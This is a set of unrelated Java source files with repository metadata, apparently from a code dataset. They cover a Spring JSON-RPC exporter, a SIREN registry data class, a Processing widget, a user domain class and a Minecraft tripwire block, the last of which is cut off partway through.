@desc๏ผˆๅค–้ƒจ้ฆ–้กต๏ผ‰ๆŸฅ่ฏข็ฝ‘็‚นๅˆ†ๅธƒๅ›พ * @param * @return */ @RequestMapping(value = "getStaticShopDistributionMap", method = RequestMethod.GET) public ResponseEntity getStaticShopDistributionMap() { StaticHome staticHome = staticHomeService.getStaticShopDistributionMap(); return ok().body(staticHome).build(); } }
[ "871618312@qq.com" ]
871618312@qq.com
ecc9ab2a8f11a917a602831062af2c104f5e0a96
9e232c27d714ff566d045fdc6595fe38a413aabf
/src/main/java/com/taofang/jsonrpc/JsonRpcExporter.java
0ddb639c4b3289b5ea2c0005df827633ae54e7d1
[]
no_license
etongle/spring-json-rpc
59b8f7d8faad9ad1a9868ce1c7cecbd0ac470691
a3c07ec4f4a51ff0930c644cc8441edcd9fb0f5a
refs/heads/master
2021-06-07T04:24:46.430499
2012-11-16T08:28:32
2012-11-16T08:28:32
null
0
0
null
null
null
null
UTF-8
Java
false
false
8,419
java
package com.taofang.jsonrpc; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.reflect.Type; import java.util.HashMap; import java.util.Map; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.codehaus.jackson.map.DeserializationConfig; import org.codehaus.jackson.map.ObjectMapper; import org.codehaus.jackson.map.type.TypeFactory; import org.codehaus.jackson.type.JavaType; import org.springframework.beans.factory.InitializingBean; import org.springframework.core.GenericTypeResolver; import org.springframework.core.LocalVariableTableParameterNameDiscoverer; import org.springframework.core.MethodParameter; import org.springframework.core.ParameterNameDiscoverer; import org.springframework.remoting.support.RemoteExporter; import org.springframework.util.ClassUtils; import org.springframework.web.HttpRequestHandler; import com.taofang.jsonrpc.exception.JsonRpcWrongArugmentException; import com.taofang.jsonrpc.service.impl.HelloServiceImpl; public class JsonRpcExporter extends RemoteExporter implements InitializingBean,HttpRequestHandler { private Map<String,Method> actualMethods; private Map<String,Method> beanMethods; private Map<String,Method> interfaceMethods; private String beanClassName; private static ParameterNameDiscoverer parameterNameDiscoverer = new LocalVariableTableParameterNameDiscoverer(); //้ป˜่ฎคๅ‚ๆ•ฐ private ObjectMapper objectMapper = new ObjectMapper(); public void afterPropertiesSet() throws Exception { prepare(); } public void prepare() { checkService(); checkServiceInterface(); actualMethods = new HashMap<String, Method>(); beanMethods = new HashMap<String,Method>(); interfaceMethods = new HashMap<String,Method>(); objectMapper.getDeserializationConfig().disable(DeserializationConfig.Feature.FAIL_ON_UNKNOWN_PROPERTIES); try { Class beanClass = ClassUtils.forName(beanClassName,this.getBeanClassLoader()); Method[] beanMs = beanClass.getDeclaredMethods(); Method[] actualMs = getProxyForService().getClass().getDeclaredMethods(); Method[] interfaceMs = getServiceInterface().getMethods(); //ๅˆๅนถๅพช็Žฏ for(Method item:beanMs){ beanMethods.put(item.getName(), item); } for(Method item:actualMs){ actualMethods.put(item.getName(), item); } for(Method item:interfaceMs){ interfaceMethods.put(item.getName(), item); } } catch (Exception e) { e.printStackTrace(); throw new IllegalStateException("ๅˆๅง‹ๅŒ–" + beanClassName + "ๆ—ถๅ‘็”Ÿๅผ‚ๅธธ๏ผŒ่ฏทๆฃ€ๆŸฅ้…็ฝฎ "); } //this.skeleton = new HessianSkeleton(getProxyForService(), getServiceInterface()); } public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { invoke(request, response); } catch (Throwable e) { e.printStackTrace(); try { writeFaultToResponse(e, response); } catch (Throwable e1) { // TODO Auto-generated catch block e1.printStackTrace(); } } } private void writeFaultToResponse(Throwable e,HttpServletResponse response) throws Throwable { Throwable actualThrowable = e; if(e instanceof InvocationTargetException){ actualThrowable = e.getCause(); } response.addHeader("exception", actualThrowable.getClass().getName()); response.addHeader("success", "1"); writeJsonToResponse(actualThrowable, response); } private void writeResultToResponse(Object result,HttpServletResponse response) throws Throwable{ response.addHeader("success", "0"); writeJsonToResponse(result, response); } public void invoke(HttpServletRequest request,HttpServletResponse response) throws Throwable { String method = request.getParameter("method"); Method beanMethod = beanMethods.get(method); Method actualMethod = actualMethods.get(method); Method interfaceMethod = interfaceMethods.get(method); Object[] args = resolveHandlerArguments(beanMethod,interfaceMethod,request); Object result = actualMethod.invoke(getProxyForService(),args); writeResultToResponse(result,response); } private void writeJsonToResponse(Object result,HttpServletResponse response) throws IOException{ Class cl = result.getClass(); response.setContentType("application/json;charset=UTF-8"); OutputStream os = response.getOutputStream(); if(cl.equals(Integer.class)){ Integer tmp = (Integer)result; //ๆˆ‘็Šฏไบ†้”™่ฏฏไธ่ƒฝไบŒ่ฟ›ๅˆถ็ผ–็ ๆ•ดๆ•ฐ,ๅช่ƒฝๆŠŠๆ•ดๆ•ฐๅ…ˆ่ฝฌไธบๅญ—็ฌฆไธฒ // os.write(tmp >> 24); // os.write(tmp >> 16); // os.write(tmp >> 8); // os.write(tmp); os.write(tmp.toString().getBytes()); }else{ objectMapper.writeValue(os, result); } } private Object[] resolveHandlerArguments(Method handlerMethod,Method interfaceMethod,HttpServletRequest request) throws Throwable { Type[] types = handlerMethod.getParameterTypes(); Object[] args = new Object[types.length]; for(int i = 0; i < types.length; i++){ MethodParameter methodParam = new MethodParameter(handlerMethod, i); AnnotationMethodParam annotationMethodParam = new AnnotationMethodParam(interfaceMethod, i); methodParam.initParameterNameDiscovery(parameterNameDiscoverer); GenericTypeResolver.resolveParameterType(methodParam, getService().getClass()); Param param = annotationMethodParam.getParameterAnnotation(Param.class); String paramName = null; if(param != null){ paramName = param.value(); } if(paramName == null){ paramName = methodParam.getParameterName(); } if(paramName == null) throw new JsonRpcWrongArugmentException("Please check param annotation or check whether " + "method param name equeals request param name "); String paramValue = request.getParameter(paramName); if(paramValue == null){ args[i] = null; continue; } Class cl = methodParam.getParameterType(); Object obj = null; if(cl.equals(Integer.class)){ obj = Integer.valueOf(paramValue); }else if(cl.equals(String.class)){ obj = paramValue; }else{ TypeFactory _typeFactory = TypeFactory.defaultInstance(); JavaType javaType = _typeFactory.constructType(methodParam.getGenericParameterType()); obj = objectMapper.readValue(paramValue.getBytes(), javaType); } args[i] = obj; } return args; } public String getBeanClassName() { return beanClassName; } public void setBeanClassName(String beanClassName) { this.beanClassName = beanClassName; } public static void main(String[] args){ Method[] ms = HelloServiceImpl.class.getMethods(); MethodParameter mp = new MethodParameter(ms[0], 0); mp.initParameterNameDiscovery(parameterNameDiscoverer); GenericTypeResolver.resolveParameterType(mp, HelloServiceImpl.class); System.out.println(mp.getParameterName()); } }
[ "xiaoZ5919@gmail.com" ]
xiaoZ5919@gmail.com
454a7c927ff978f7bbc00a2842dd2e67fc21bc70
e05c4f5ca35a3667e6f1d4158c5607262f1ba6d7
/src/sources/siren/Fields.java
e7619f63e9001c7ec73edac6714531a3fdddd1d0
[]
no_license
HugoPasero/EAIJuridique
206131302036bdbed755324a6a634c401f828c43
1680dadbc10873f59405cd6f2dad263497ea0d08
refs/heads/master
2020-04-08T00:11:48.497105
2018-12-04T15:57:38
2018-12-04T15:57:38
158,841,504
0
0
null
null
null
null
UTF-8
Java
false
false
19,434
java
/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package sources.siren; /** * * @author marieroca */ public class Fields { private String amintren; private String apet700; private String tefet; private String amintret; private String typvoie; private String l6_declaree; private String libtu; private String libapen; private String sous_classe; private String epci; private String monoact; private String code_division; private String l1_normalisee; private String l4_normalisee; private String l7_normalisee; private String esaapen; private String codpos; private String l5_normalisee; private String code_section; private String l3_declaree; private String lieuact; private String libtefet; private String depcomet; private String libtefen; private String code_classe; private String apen700; private String libvoie; private String libmonoact; private String libapet; private String dcren; private String comet; private String depet; private String libactivnat; private String rpet; private String activite; private String siege; private String libesaapen; private String nomen_long; private String l4_declaree; private String code_groupe; private String dapet; private String rpen; private String efetcent; private String moden; private String du; private String activnat; private String esasec1n; private String libnj; private String zemet; private String l6_normalisee; private String tca; private String dcret; private String defen; private String tcd; private String dapen; private String depcomen; private String saisonat; private String ddebact; private String categorie; private String numvoie; private String datemaj; private String defet; private String uu; private String auxilt; private String nom_dept; private String modet; private String nicsiege; private String libmoden; private String l1_declaree; private String libreg_new; private String liborigine; private String ind_publipo; private String nic; private String libtca; private String efencent; private String esaann; private String arronet; private String libmodet; private String libcom; private String section; private String siren; private String tefen; private String prodet; private String tu; private String proden; private String diffcom; private String iriset; private String nj; private String origine; private String[] coordonnees; private String l2_normalisee; private String siret; public String getAmintren() { return amintren; } public void setAmintren(String amintren) { this.amintren = amintren; } public String getApet700() { return apet700; } public void setApet700(String apet700) { this.apet700 = apet700; } public String getTefet() { return tefet; } public void setTefet(String tefet) { this.tefet = tefet; } public String getAmintret() { return amintret; } public void setAmintret(String amintret) { this.amintret = amintret; } public String getTypvoie() { return typvoie; } public void setTypvoie(String typvoie) { this.typvoie = typvoie; } public String getL6_declaree() { return l6_declaree; } public void setL6_declaree(String l6_declaree) { this.l6_declaree = l6_declaree; } public String getLibtu() { return libtu; } public void setLibtu(String libtu) { this.libtu = libtu; } public String getLibapen() { return libapen; } public void setLibapen(String libapen) { this.libapen = libapen; } public String getSous_classe() { return sous_classe; } public void setSous_classe(String sous_classe) { this.sous_classe = sous_classe; } public String getEpci() { return epci; } public void setEpci(String epci) { this.epci = epci; } public String getMonoact() { return monoact; } public void setMonoact(String monoact) { this.monoact = monoact; } public String getCode_division() { return code_division; } public void setCode_division(String code_division) { this.code_division = code_division; } public String getL1_normalisee() { return l1_normalisee; } public void setL1_normalisee(String l1_normalisee) { this.l1_normalisee = l1_normalisee; } public String getL4_normalisee() { return l4_normalisee; } public void setL4_normalisee(String l4_normalisee) { this.l4_normalisee = l4_normalisee; } public String getL7_normalisee() { return l7_normalisee; } public void setL7_normalisee(String l7_normalisee) { this.l7_normalisee = l7_normalisee; } public String getEsaapen() { return esaapen; } public void setEsaapen(String esaapen) { this.esaapen = esaapen; } public String getCodpos() { return codpos; } public void setCodpos(String codpos) { this.codpos = codpos; } public String getL5_normalisee() { return l5_normalisee; } public void setL5_normalisee(String l5_normalisee) { this.l5_normalisee = l5_normalisee; } public String getCode_section() { return code_section; } public void setCode_section(String code_section) { this.code_section = code_section; } public String getL3_declaree() { return l3_declaree; } public void setL3_declaree(String l3_declaree) { this.l3_declaree = l3_declaree; } public String getLieuact() { return lieuact; } public void setLieuact(String lieuact) { this.lieuact = lieuact; } public String getLibtefet() { return libtefet; } public void setLibtefet(String libtefet) { this.libtefet = libtefet; } public String getDepcomet() { return depcomet; } public void setDepcomet(String depcomet) { this.depcomet = depcomet; } public String getLibtefen() { return libtefen; } public void setLibtefen(String libtefen) { this.libtefen = libtefen; } public String getCode_classe() { return code_classe; } public void setCode_classe(String code_classe) { this.code_classe = code_classe; } public String getApen700() { return apen700; } public void setApen700(String apen700) { this.apen700 = apen700; } public String getLibvoie() { return libvoie; } public void setLibvoie(String libvoie) { this.libvoie = libvoie; } public String getLibmonoact() { return libmonoact; } public void setLibmonoact(String libmonoact) { this.libmonoact = libmonoact; } public String getLibapet() { return libapet; } public void setLibapet(String libapet) { this.libapet = libapet; } public String getDcren() { return dcren; } public void setDcren(String dcren) { this.dcren = dcren; } public String getComet() { return comet; } public void setComet(String comet) { this.comet = comet; } public String getDepet() { return depet; } public void setDepet(String depet) { this.depet = depet; } public String getLibactivnat() { return libactivnat; } public void setLibactivnat(String libactivnat) { this.libactivnat = libactivnat; } public String getRpet() { return rpet; } public void setRpet(String rpet) { this.rpet = rpet; } public String getActivite() { return activite; } public void setActivite(String activite) { this.activite = activite; } public String getSiege() { return siege; } public void setSiege(String siege) { this.siege = siege; } public String getLibesaapen() { return libesaapen; } public void setLibesaapen(String libesaapen) { this.libesaapen = libesaapen; } public String getNomen_long() { return nomen_long; } public void setNomen_long(String nomen_long) { this.nomen_long = nomen_long; } public String getL4_declaree() { return l4_declaree; } public void setL4_declaree(String l4_declaree) { this.l4_declaree = l4_declaree; } public String getCode_groupe() { return code_groupe; } public void setCode_groupe(String code_groupe) { this.code_groupe = code_groupe; } public String getDapet() { return dapet; } public void setDapet(String dapet) { this.dapet = dapet; } public String getRpen() { return rpen; } public void setRpen(String rpen) { this.rpen = rpen; } public String getEfetcent() { return efetcent; } public void setEfetcent(String efetcent) { this.efetcent = efetcent; } public String getModen() { return moden; } public void setModen(String moden) { this.moden = moden; } public String getDu() { return du; } public void setDu(String du) { this.du = du; } public String getActivnat() { return activnat; } public void setActivnat(String activnat) { this.activnat = activnat; } public String getEsasec1n() { return esasec1n; } public void setEsasec1n(String esasec1n) { this.esasec1n = esasec1n; } public String getLibnj() { return libnj; } public void setLibnj(String libnj) { this.libnj = libnj; } public String getZemet() { return zemet; } public void setZemet(String zemet) { this.zemet = zemet; } public String getL6_normalisee() { return l6_normalisee; } public void setL6_normalisee(String l6_normalisee) { this.l6_normalisee = l6_normalisee; } public String getTca() { return tca; } public void setTca(String tca) { this.tca = tca; } public String getDcret() { return dcret; } public void setDcret(String dcret) { this.dcret = dcret; } public String getDefen() { return defen; } public void setDefen(String defen) { this.defen = defen; } public String getTcd() { return tcd; } public void setTcd(String tcd) { this.tcd = tcd; } public String getDapen() { return dapen; } public void setDapen(String dapen) { this.dapen = dapen; } public String getDepcomen() { return depcomen; } public void setDepcomen(String depcomen) { this.depcomen = depcomen; } public String getSaisonat() { return saisonat; } public void setSaisonat(String saisonat) { this.saisonat = saisonat; } public String getDdebact() { return ddebact; } public void setDdebact(String ddebact) { this.ddebact = ddebact; } public String getCategorie() { return categorie; } public void setCategorie(String categorie) { this.categorie = categorie; } public String getNumvoie() { return numvoie; } public void setNumvoie(String numvoie) { this.numvoie = numvoie; } public String getDatemaj() { return datemaj; } public void setDatemaj(String datemaj) { this.datemaj = datemaj; } public String getDefet() { return defet; } public void setDefet(String defet) { this.defet = defet; } public String getUu() { return uu; } public void setUu(String uu) { this.uu = uu; } public String getAuxilt() { return auxilt; } public void setAuxilt(String auxilt) { this.auxilt = auxilt; } public String getNom_dept() { return nom_dept; } public void setNom_dept(String nom_dept) { this.nom_dept = nom_dept; } public String getModet() { return modet; } public void setModet(String modet) { this.modet = modet; } public String getNicsiege() { return nicsiege; } public void setNicsiege(String nicsiege) { this.nicsiege = nicsiege; } public String getLibmoden() { return libmoden; } public void setLibmoden(String libmoden) { this.libmoden = libmoden; } public String getL1_declaree() { return l1_declaree; } public void setL1_declaree(String l1_declaree) { this.l1_declaree = l1_declaree; } public String getLibreg_new() { return libreg_new; } public void setLibreg_new(String libreg_new) { this.libreg_new = libreg_new; } public String getLiborigine() { return liborigine; } public void setLiborigine(String liborigine) { this.liborigine = liborigine; } public String getInd_publipo() { return ind_publipo; } public void setInd_publipo(String ind_publipo) { this.ind_publipo = ind_publipo; } public String getNic() { return nic; } public void setNic(String nic) { this.nic = nic; } public String getLibtca() { return libtca; } public void setLibtca(String libtca) { this.libtca = libtca; } public String getEfencent() { return efencent; } public void setEfencent(String efencent) { this.efencent = efencent; } public String getEsaann() { return esaann; } public void setEsaann(String esaann) { this.esaann = esaann; } public String getArronet() { return arronet; } public void setArronet(String arronet) { this.arronet = arronet; } public String getLibmodet() { return libmodet; } public void setLibmodet(String libmodet) { this.libmodet = libmodet; } public String getLibcom() { return libcom; } public void setLibcom(String libcom) { this.libcom = libcom; } public String getSection() { return section; } public void setSection(String section) { this.section = section; } public String getSiren() { return siren; } public void setSiren(String siren) { this.siren = siren; } public String getTefen() { return tefen; } public void setTefen(String tefen) { this.tefen = tefen; } public String getProdet() { return prodet; } public void setProdet(String prodet) { this.prodet = prodet; } public String getTu() { return tu; } public void setTu(String tu) { this.tu = tu; } public String getProden() { return proden; } public void setProden(String proden) { this.proden = proden; } public String getDiffcom() { return diffcom; } public void setDiffcom(String diffcom) { this.diffcom = diffcom; } public String getIriset() { return iriset; } public void setIriset(String iriset) { this.iriset = iriset; } public String getNj() { return nj; } public void setNj(String nj) { this.nj = nj; } public String getOrigine() { return origine; } public void setOrigine(String origine) { this.origine = origine; } public String[] getCoordonnees() { return coordonnees; } public void setCoordonnees(String[] coordonnees) { this.coordonnees = coordonnees; } public String getL2_normalisee() { return l2_normalisee; } public void setL2_normalisee(String l2_normalisee) { this.l2_normalisee = l2_normalisee; } public String getSiret() { return siret; } public void setSiret(String siret) { this.siret = siret; } @Override public String toString() { return "ClassPojo [amintren = " + amintren + ", apet700 = " + apet700 + ", tefet = " + tefet + ", amintret = " + amintret + ", typvoie = " + typvoie + ", l6_declaree = " + l6_declaree + ", libtu = " + libtu + ", libapen = " + libapen + ", sous_classe = " + sous_classe + ", epci = " + epci + ", monoact = " + monoact + ", code_division = " + code_division + ", l1_normalisee = " + l1_normalisee + ", l4_normalisee = " + l4_normalisee + ", l7_normalisee = " + l7_normalisee + ", esaapen = " + esaapen + ", codpos = " + codpos + ", l5_normalisee = " + l5_normalisee + ", code_section = " + code_section + ", l3_declaree = " + l3_declaree + ", lieuact = " + lieuact + ", libtefet = " + libtefet + ", depcomet = " + depcomet + ", libtefen = " + libtefen + ", code_classe = " + code_classe + ", apen700 = " + apen700 + ", libvoie = " + libvoie + ", libmonoact = " + libmonoact + ", libapet = " + libapet + ", dcren = " + dcren + ", comet = " + comet + ", depet = " + depet + ", libactivnat = " + libactivnat + ", rpet = " + rpet + ", activite = " + activite + ", siege = " + siege + ", libesaapen = " + libesaapen + ", nomen_long = " + nomen_long + ", l4_declaree = " + l4_declaree + ", code_groupe = " + code_groupe + ", dapet = " + dapet + ", rpen = " + rpen + ", efetcent = " + efetcent + ", moden = " + moden + ", du = " + du + ", activnat = " + activnat + ", esasec1n = " + esasec1n + ", libnj = " + libnj + ", zemet = " + zemet + ", l6_normalisee = " + l6_normalisee + ", tca = " + tca + ", dcret = " + dcret + ", defen = " + defen + ", tcd = " + tcd + ", dapen = " + dapen + ", depcomen = " + depcomen + ", saisonat = " + saisonat + ", ddebact = " + ddebact + ", categorie = " + categorie + ", numvoie = " + numvoie + ", datemaj = " + datemaj + ", defet = " + defet + ", uu = " + uu + ", auxilt = " + auxilt + ", nom_dept = " + nom_dept + ", modet = " + modet + ", nicsiege = " + nicsiege + ", libmoden = " + libmoden + ", l1_declaree = " + l1_declaree + ", libreg_new = " + libreg_new + ", liborigine = " + liborigine + ", ind_publipo = " + ind_publipo + ", nic = " + nic + ", libtca = " + libtca + ", efencent = " + efencent + ", esaann = " + esaann + ", arronet = " + arronet + ", libmodet = " + libmodet + ", libcom = " + libcom + ", section = " + section + ", siren = " + siren + ", tefen = " + tefen + ", prodet = " + prodet + ", tu = " + tu + ", proden = " + proden + ", diffcom = " + diffcom + ", iriset = " + iriset + ", nj = " + nj + ", origine = " + origine + ", coordonnees = " + coordonnees + ", l2_normalisee = " + l2_normalisee + ", siret = " + siret + "]"; } }
[ "marieroca@172.17.47.208" ]
marieroca@172.17.47.208
fbaf806aac033aa8cee98a4e9b8f8569ea099c61
da9b4f4fefd7598764a61b8a4cadd3808310967e
/ProgrammingProjectIntelliJ/src/main/java/com/LukeHackett/Widget.java
c1361cbe4c900a5d9aa68575d6d696a059a38d05
[ "MIT" ]
permissive
LukeHackett12/Programming-Project
5e5062b437785ce1e7f668bf5f7e032d2151267c
62dbec5e1be144dcdef44724abb51c30f4c3eb91
refs/heads/master
2020-03-09T21:01:33.943089
2018-04-12T14:24:37
2018-04-12T14:24:37
128,999,066
0
0
null
null
null
null
UTF-8
Java
false
false
2,176
java
package com.LukeHackett; import processing.core.*; abstract class Widget { PApplet canvas; float x, y, width, height; String label; int event; int widgetColor, labelColor, borderColor; PFont widgetFont; Widget(PApplet canvas, float x, float y, float width, float height, String label, int widgetColor, PFont widgetFont, int event) { this.canvas = canvas; this.x = x; this.y = y; this.width = width; this.height = height; this.label = label; this.event = event; this.widgetColor = widgetColor; this.widgetFont = widgetFont; labelColor = (0); borderColor = (0); } abstract void draw(); int getEvent(int mX, int mY) { if (mX > x && mX < x + width && mY > y && mY < y + height) { return event; } return Main.EVENT_NULL; } void mouseOver() { // added these two methods for the sample code from slides to work borderColor = (255); } void mouseNotOver() { borderColor = (0); } } class Scrollbar extends Widget { float ratio; Scrollbar(PApplet canvas, float width, float totalHeightOfPage, int widgetColor, int event) { super(canvas, Main.SCREEN_X - width, 0, width, 0, "", widgetColor, null, event); // again the super constructor for the class is called to stop code duplication this.ratio = totalHeightOfPage / Main.SCREEN_Y; if(this.ratio == 0){ setHeight(Main.SCREEN_Y); }else { setHeight(Main.SCREEN_Y / ratio); } } public float getRatio() { return this.ratio; } public void setHeight(float height) { this.height = (int)height; } public float getY() { return y; } public void setY(float y) { this.y = (int)y; } public float getHeight() { return height; } public void draw() { canvas.noStroke(); canvas.fill(widgetColor); canvas.rect(x, y, width, height); canvas.fill(labelColor); canvas.text(label, x + 10, y + height - 10); } }
[ "lhackett@tcd.ie" ]
lhackett@tcd.ie
12a05cd172d4d7d8fe9b53fe24c2475fd6b64d96
c8ac645aab7d5e2df85daea5c345fa31b42ffa16
/pillowtalk/src/main/java/com/techouts/domain/User.java
7a2a557a9cf38cb8feb2e13410b906a5ded2f69a
[]
no_license
JanardhanTechouts/pillowtalk
503fe223461be2d05084ddfb7ef771bc4b436f4e
040666e5f8a817804ab2db92eb137c75e96a1b9a
refs/heads/master
2021-01-22T22:23:54.630274
2017-03-27T09:13:10
2017-03-27T09:13:10
85,536,141
0
0
null
null
null
null
UTF-8
Java
false
false
1,906
java
package com.techouts.domain; import java.io.Serializable; import javax.xml.bind.annotation.XmlElement; import javax.xml.bind.annotation.XmlRootElement; @XmlRootElement(name ="user") public class User implements Serializable { private static final long serialVersionUID = 1L; private String title; private String firstname; private String surname; private String email; private long number; private String password; private String cpwd; public User(){ } public User(String title, String firstname, String surname, String email, long number, String password) { super(); this.title = title; this.firstname = firstname; this.surname = surname; this.email = email; this.number = number; this.password = password; } public String getTitle() { return title; } @XmlElement public void setTitle(String title) { this.title = title; } public String getFirstname() { return firstname; } @XmlElement public void setFirstname(String firstname) { this.firstname = firstname; } public String getSurname() { return surname; } @XmlElement public void setSurname(String surname) { this.surname = surname; } public String getEmail() { return email; } @XmlElement public void setEmail(String email) { this.email = email; } public long getNumber() { return number; } @XmlElement public void setNumber(long number) { this.number = number; } public String getPassword() { return password; } @XmlElement public void setPassword(String password) { this.password = password; } public String getCpwd() { return cpwd; } @XmlElement public void setCpwd(String cpwd) { this.cpwd = cpwd; } @Override public String toString() { return "User [title=" + title + ", firstname=" + firstname + ", surname=" + surname + ", email=" + email + ", number=" + number + ", password=" + password + ", cpwd=" + cpwd + "]"; } }
[ "janardhan.s@techouts.com" ]
janardhan.s@techouts.com
aa260b208446d4171896188a9eea80fcd1e13fbf
d255fd334d3f5137141dd917963b27ba24875a6b
/minecraft/net/minecraft/block/BlockTripWireSource.java
d5cc64c3c064bb722748a7f98e6306861212965a
[]
no_license
Ditiae/Scape-Craft
3ec5b8046caf3ad901ba5192b5402fa34a9b1a06
8fb9c616b57cd0f23e7249737732fd80204be297
refs/heads/master
2021-09-10T11:07:34.616569
2018-03-25T07:24:37
2018-03-25T07:24:37
126,568,506
0
1
null
null
null
null
UTF-8
Java
false
false
14,851
java
package net.minecraft.block; import java.util.Random; import net.minecraft.block.material.Material; import net.minecraft.creativetab.CreativeTabs; import net.minecraft.util.AxisAlignedBB; import net.minecraft.util.Direction; import net.minecraft.world.IBlockAccess; import net.minecraft.world.World; import net.minecraftforge.common.ForgeDirection; import static net.minecraftforge.common.ForgeDirection.*; public class BlockTripWireSource extends Block { public BlockTripWireSource(int par1) { super(par1, Material.circuits); this.setCreativeTab(CreativeTabs.tabRedstone); this.setTickRandomly(true); } /** * Returns a bounding box from the pool of bounding boxes (this means this box can change after the pool has been * cleared to be reused) */ public AxisAlignedBB getCollisionBoundingBoxFromPool(World par1World, int par2, int par3, int par4) { return null; } /** * Is this block (a) opaque and (b) a full 1m cube? This determines whether or not to render the shared face of two * adjacent blocks and also whether the player can attach torches, redstone wire, etc to this block. */ public boolean isOpaqueCube() { return false; } /** * If this block doesn't render as an ordinary block it will return False (examples: signs, buttons, stairs, etc) */ public boolean renderAsNormalBlock() { return false; } /** * The type of render function that is called for this block */ public int getRenderType() { return 29; } /** * How many world ticks before ticking */ public int tickRate(World par1World) { return 10; } /** * checks to see if you can place this block can be placed on that side of a block: BlockLever overrides */ public boolean canPlaceBlockOnSide(World par1World, int par2, int par3, int par4, int par5) { ForgeDirection dir = ForgeDirection.getOrientation(par5); return (dir == NORTH && par1World.isBlockSolidOnSide(par2, par3, par4 + 1, NORTH)) || (dir == SOUTH && par1World.isBlockSolidOnSide(par2, par3, par4 - 1, SOUTH)) || (dir == WEST && par1World.isBlockSolidOnSide(par2 + 1, par3, par4, WEST )) || (dir == EAST && par1World.isBlockSolidOnSide(par2 - 1, par3, par4, EAST )); } /** * Checks to see if its valid to put this block at the specified coordinates. Args: world, x, y, z */ public boolean canPlaceBlockAt(World par1World, int par2, int par3, int par4) { return par1World.isBlockSolidOnSide(par2 - 1, par3, par4, EAST ) || par1World.isBlockSolidOnSide(par2 + 1, par3, par4, WEST ) || par1World.isBlockSolidOnSide(par2, par3, par4 - 1, SOUTH) || par1World.isBlockSolidOnSide(par2, par3, par4 + 1, NORTH); } /** * Called when a block is placed using its ItemBlock. Args: World, X, Y, Z, side, hitX, hitY, hitZ, block metadata */ public int onBlockPlaced(World par1World, int par2, int par3, int par4, int par5, float par6, float par7, float par8, int par9) { byte b0 = 0; if (par5 == 2 && par1World.isBlockSolidOnSide(par2, par3, par4 + 1, NORTH, true)) { b0 = 2; } if (par5 == 3 && par1World.isBlockSolidOnSide(par2, par3, par4 - 1, SOUTH, true)) { b0 = 0; } if (par5 == 4 && par1World.isBlockSolidOnSide(par2 + 1, par3, par4, WEST, true)) { b0 = 1; } if (par5 == 5 && par1World.isBlockSolidOnSide(par2 - 1, par3, par4, EAST, true)) { b0 = 3; } return b0; } /** * Called after a block is placed */ public void onPostBlockPlaced(World par1World, int par2, int par3, int par4, int par5) { this.func_72143_a(par1World, par2, par3, par4, this.blockID, par5, false, -1, 0); } /** * Lets the block know when one of its neighbor changes. Doesn't know which neighbor changed (coordinates passed are * their own) Args: x, y, z, neighbor blockID */ public void onNeighborBlockChange(World par1World, int par2, int par3, int par4, int par5) { if (par5 != this.blockID) { if (this.func_72144_l(par1World, par2, par3, par4)) { int i1 = par1World.getBlockMetadata(par2, par3, par4); int j1 = i1 & 3; boolean flag = false; if (!par1World.isBlockSolidOnSide(par2 - 1, par3, par4, EAST) && j1 == 3) { flag = true; } if (!par1World.isBlockSolidOnSide(par2 + 1, par3, par4, WEST) && j1 == 1) { flag = true; } if (!par1World.isBlockSolidOnSide(par2, par3, par4 - 1, SOUTH) && j1 == 0) { flag = true; } if (!par1World.isBlockSolidOnSide(par2, par3, par4 + 1, NORTH) && j1 == 2) { flag = true; } if (flag) { this.dropBlockAsItem(par1World, par2, par3, par4, i1, 0); par1World.setBlockToAir(par2, par3, par4); } } } } public void func_72143_a(World par1World, int par2, int par3, int par4, int par5, int par6, boolean par7, int par8, int par9) { int l1 = par6 & 3; boolean flag1 = (par6 & 4) == 4; boolean flag2 = (par6 & 8) == 8; boolean flag3 = par5 == Block.tripWireSource.blockID; boolean flag4 = false; boolean flag5 = !par1World.isBlockSolidOnSide(par2, par3 - 1, par4, UP); int i2 = Direction.offsetX[l1]; int j2 = Direction.offsetZ[l1]; int k2 = 0; int[] aint = new int[42]; int l2; int i3; int j3; int k3; int l3; for (l2 = 1; l2 < 42; ++l2) { i3 = par2 + i2 * l2; j3 = par4 + j2 * l2; k3 = par1World.getBlockId(i3, par3, j3); if (k3 == Block.tripWireSource.blockID) { l3 = par1World.getBlockMetadata(i3, par3, j3); if ((l3 & 3) == Direction.rotateOpposite[l1]) { k2 = l2; } break; } if (k3 != Block.tripWire.blockID && l2 != par8) { aint[l2] = -1; flag3 = false; } else { l3 = l2 == par8 ? par9 : par1World.getBlockMetadata(i3, par3, j3); boolean flag6 = (l3 & 8) != 8; boolean flag7 = (l3 & 1) == 1; boolean flag8 = (l3 & 2) == 2; flag3 &= flag8 == flag5; flag4 |= flag6 && flag7; aint[l2] = l3; if (l2 == par8) { par1World.scheduleBlockUpdate(par2, par3, par4, par5, this.tickRate(par1World)); flag3 &= flag6; } } } flag3 &= k2 > 1; flag4 &= flag3; l2 = (flag3 ? 4 : 0) | (flag4 ? 8 : 0); par6 = l1 | l2; if (k2 > 0) { i3 = par2 + i2 * k2; j3 = par4 + j2 * k2; k3 = Direction.rotateOpposite[l1]; par1World.setBlockMetadataWithNotify(i3, par3, j3, k3 | l2, 3); this.notifyNeighborOfChange(par1World, i3, par3, j3, k3); this.playSoundEffect(par1World, i3, par3, j3, flag3, flag4, flag1, flag2); } this.playSoundEffect(par1World, par2, par3, par4, flag3, flag4, flag1, flag2); if (par5 > 0) { par1World.setBlockMetadataWithNotify(par2, par3, par4, par6, 3); if (par7) { this.notifyNeighborOfChange(par1World, par2, par3, par4, l1); } } if (flag1 != flag3) { for (i3 = 1; i3 < k2; ++i3) { j3 = par2 + i2 * i3; k3 = par4 + j2 * i3; l3 = aint[i3]; if (l3 >= 0) { if (flag3) { l3 |= 4; } else { l3 &= -5; } par1World.setBlockMetadataWithNotify(j3, par3, k3, l3, 3); } } } } /** * Ticks the block if it's been scheduled */ public void updateTick(World par1World, int par2, int par3, int par4, Random par5Random) { this.func_72143_a(par1World, par2, par3, par4, this.blockID, par1World.getBlockMetadata(par2, par3, par4), true, -1, 0); } /** * only of the conditions are right */ private void playSoundEffect(World par1World, int par2, int par3, int par4, boolean par5, boolean par6, boolean par7, boolean par8) { if (par6 && !par8) { 